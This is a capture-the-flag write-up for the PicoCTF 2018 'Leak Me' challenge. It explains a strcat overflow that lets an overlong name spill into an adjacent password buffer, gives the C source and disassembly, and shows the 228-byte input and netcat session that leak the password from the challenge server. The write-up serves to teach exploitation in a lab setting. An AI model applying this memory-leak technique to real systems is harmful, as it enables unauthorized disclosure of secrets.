PicoCTF 2018 - Leak Me

Note: This article is part of our PicoCTF 2018 BinExp Guide.

Spot the Bug

Spotting this one is trickier. I originally solved this challenge several months ago, but while putting this guide together I attempted to look ahead to this problem and “spot the bug” (with only access to the source code on my phone). I’m ashamed to admit that it was almost an hour of me staring at the thing before I had a good idea what the problem was and how it could be exploited. How long does it take you?

char password[64]; // &[ebp-0x54]
char name[256]; // &[ebp-0x154]
char password_input[64]; // &[ebp-0x194]

memset(password, 0, sizeof(password));
memset(name, 0, sizeof(name));
memset(password_input, 0, sizeof(password_input));

printf("What is your name?\n");

fgets(name, sizeof(name), stdin);
char *end = strchr(name, '\n');
if (end != NULL) {
  *end = '\x00';
}

strcat(name, ",\nPlease Enter the Password.");

file = fopen("password.txt", "r");
if (file == NULL) {
  printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
  exit(0);
}

fgets(password, sizeof(password), file);

printf("Hello ");
puts(name);

fgets(password_input, sizeof(password_input), stdin);
password_input[sizeof(password_input)] = '\x00';

if (!strcmp(password_input, password)) {
  flag();
}
else {
  printf("Incorrect Password!\n");
}

Let’s go over the steps:

  1. Memory for password, name, and password_input is allocated and initialized on the stack.
  2. You are prompted for your name (saved in name)
  3. The file “password.txt” is opened, and read into the password variable
  4. You are prompted for a password (saved in password_input)
  5. If your password (password_input) matches the password in the file (password), then the flag is printed.

First off, we notice that the prompts for name and password both use fgets(), which is considered safe. fgets will read up to size-1 bytes (or the first newline), and will always add a tailing null byte. There is also a call to printf, which could be used unsafely, but is fine in this case. Similarly, there are no problems with the calls to strchr, fopen, puts, or strcmp in this program.

The conclusion we reach is that the only thing it could be is the call to strcat (which is used to concatenate two strings together into one string, using the underlying memory of the first string).

fgets(name, sizeof(name), stdin); // read up to size-1 bytes
// ...
strcat(name, ",\nPlease Enter the Password."); // add 28 characters + null to end of name
// ...
fgets(password, sizeof(password), file); // read the password into password
// ...
printf("Hello ");
puts(name);

Strategy

The strategy, as the name of the challenge suggests, is to “leak” the password before we are required to enter it. We can do this because of the exact memory layout of the stack (we’ll go over it in a minute, but it’s important to note that this layout is specific to this version of compiler, in general the order of password, name and password_input on the stack isn’t well specified). We can also do this because puts will continue to output chars until it hits the first null, and knows nothing about the size of memory block associated with name.

If you know what you’re doing already, you can attempt the problem by connecting to 2018shell.picoctf.com on port 38315 right now.

Background Info

Just like last time, let’s peak into the assembly and see what memory layout the compiler chose for our stack variables using objdump -M intel -S ./auth:

sub    esp,0x4 ; align
push   0x40 ; 0x40 = 64 = sizeof(password)
push   0x0
lea    eax,[ebp-0x54] ; &password
push   eax
call   8048530 <memset@plt> ; memset(password, 0, sizeof(password));
add    esp,0x10

sub    esp,0x4 ; align
push   0x100 ; 0x100 = 256 = sizeof(name)
push   0x0
lea    eax,[ebp-0x154] ; &name
push   eax
call   8048530 <memset@plt> ; memset(name, 0, sizeof(name));
add    esp,0x10

sub    esp,0x4 ; align
push   0x40 ; 0x40 = 64 = sizeof(password_input)
push   0x0
lea    eax,[ebp-0x194] ; &password_input
push   eax
call   8048530 <memset@plt> ; memset(password_input, 0, sizeof(password_input));
add    esp,0x10

NOTE: Take a second and observe that the arguments to memset are pushed on the stack in the “reverse” order. So, sizeof(password) is pushed first, then 0, then the address of password. This may seem odd, but if you consider how the stack works, it means that &password is actually first in memory, followed by 0, and then sizeof(password), which is the order we expect. Keep this in mind for later challenges.

Therefore the memory layout for the local variables of our function looks something like this:

lower addresses higher addresses
[esp] < temp > [ebp-0x194] [ebp-0x154] [ebp-0x54] < other > [ebp]
    password_input
[64]
name
[256]
password
[64]
   

Basically, the password variable directly follows the name variable in memory. If the string in name is long enough to spill into the memory for password, then when we read from “password.txt” we will actually write “into” the name string, and the password itself will be written to stdout when puts(name) is called.

Exploitation

How long should our name be? Anything long enough should work, but it’ll be easier to read if there is a clear delimiter. If the name is exactly 228 bytes (excluding newline), then appending 28 bytes will completely fill the name buffer, and the tailing null byte will end up as the first byte of the password variable. That byte will then be overwritten when the password is loaded. When the name string is printed out, the password will be all the characters following the '.' at the end of the prompt.

Here’s 228 “U”s for you to copy-paste, as generated by python3 -c 'print("U"*228)'

UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU

NOTE: this challenge requires to connect to a specific port on the server. To do this, you can install the netcat package on most linux distros and on windows. You could also connect to the port using pwntools or similar. netcat is already installed on the shell server.

$ nc 2018shell.picoctf.com 38315
What is your name?
UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
Hello UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU,
Please Enter the Password.a_reAllY_s3cuRe_p4s$word_f85406

a_reAllY_s3cuRe_p4s$word_f85406
picoCTF{===REDACTED===}

When prompted, enter 228 characters and then press enter. It will then reply “Hello <228 chars>, Please Enter the Password.<password>” where the actual password will be printed out after the '.'. You then copy-paste the password and hit enter, at which point it will print the flag for you. In my case, the password was “a_reAllY_s3cuRe_p4s$word_f85406”.

Now that you’ve solved Leak Me, head back to the PicoCTF 2018 BinExp Guide to continue with the next challenge.